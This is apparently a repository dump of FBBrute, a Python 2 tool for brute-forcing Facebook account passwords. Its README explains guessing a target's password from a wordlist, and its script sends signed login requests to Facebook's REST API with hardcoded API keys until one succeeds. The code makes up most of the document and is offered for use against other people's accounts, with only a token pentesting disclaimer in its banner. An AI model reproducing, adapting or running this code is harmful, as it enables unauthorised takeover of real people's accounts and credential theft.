├── .img.png ├── README.md └── fbbrute.py /.img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/johncarlo205/FBBrute/HEAD/.img.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # FBBrute 4 | FBBrute is a Facebook brute force tool, launches an attack by guessing the target password with a set of wordlist provided. 5 | so this is the same as you try to login to someone's account while guessing the password, if the password you are trying is wrong, you will think of another password that might be used by the target to login to the account but this way might be a bit longer, but with FBBrute this will make it easier. 6 | you only need to create one file with a collection of passwords then enter the username, email or ID of the target then press start crack... 7 | 8 | ### Installation and Using FBBrute 9 | ```bash 10 | $ apt-get install python git 11 | $ git clone https://github.com/Gameye98/FBBrute 12 | $ cd FBBrute 13 | $ python fbbrute.py 14 | ``` 15 | 16 | ### Contact me 17 | Line : dtl.lily 18 | Telegram : @dtlily 19 | Facebook : cgi.izo 20 | Instagram : @dtlily -------------------------------------------------------------------------------- /fbbrute.py: -------------------------------------------------------------------------------- 1 | ## fbbrute.py - Facebook Brute Force 2 | # -*- coding: utf-8 -*- 3 | ## 4 | import os 5 | import sys 6 | import urllib 7 | import hashlib 8 | 9 | API_SECRET = "62f8ce9f74b12f84c123cc23437a4a32" 10 | 11 | __banner__ = """ 12 | +=======================================+ 13 | |..........Facebook Cracker v 1.........| 14 | +---------------------------------------+ 15 | |#Author: DedSecTL | 16 | |#Contact: Telegram @dtlily | 17 | |#Date: Fri Feb 8 10:15:49 2019 | 18 | |#This tool is made for pentesting. | 19 | |#Changing the description of this tool | 20 | |Won't made you the coder ^_^ !!! | 21 | |#Respect Coderz ^_^ | 22 | |#I take no responsibilities for the | 23 | | use of this program ! | 24 | +=======================================+ 25 | |..........Facebook Cracker v 1.........| 26 | +---------------------------------------+ 27 | """ 28 | 29 | print("[+] Facebook Brute Force\n") 30 | userid = raw_input("[*] Enter [Email|Phone|Username|ID]: ") 31 | try: 32 | passlist = raw_input("[*] Set PATH to passlist: ") 33 | if os.path.exists(passlist) != False: 34 | print(__banner__) 35 | print(" [+] Account to crack : {}".format(userid)) 36 | print(" [+] Loaded : {}".format(len(open(passlist,"r").read().split("\n")))) 37 | print(" [+] Cracking, please wait ...") 38 | for passwd in open(passlist,'r').readlines(): 39 | sys.stdout.write(u"\u001b[1000D[*] Trying {}".format(passwd.strip())) 40 | sys.stdout.flush() 41 | sig = "api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail={}format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword={}return_ssl_resources=0v=1.0{}".format(userid,passwd.strip(),API_SECRET) 42 | xx = hashlib.md5(sig).hexdigest() 43 | data = "api_key=882a8490361da98702bf97a021ddc14d&credentials_type=password&email={}&format=JSON&generate_machine_id=1&generate_session_cookies=1&locale=en_US&method=auth.login&password={}&return_ssl_resources=0&v=1.0&sig={}".format(userid,passwd.strip(),xx) 44 | response = urllib.urlopen("https://api.facebook.com/restserver.php?{}".format(data)).read() 45 | if "error" in response: 46 | pass 47 | else: 48 | print("\n\n[+] Password found .. !!") 49 | print("\n[+] Password : {}".format(passwd.strip())) 50 | break 51 | print("\n\n[!] Done .. !!") 52 | else: 53 | print("fbbrute: error: No such file or directory") 54 | except KeyboardInterrupt: 55 | print("fbbrute: error: Keyboard interrupt") --------------------------------------------------------------------------------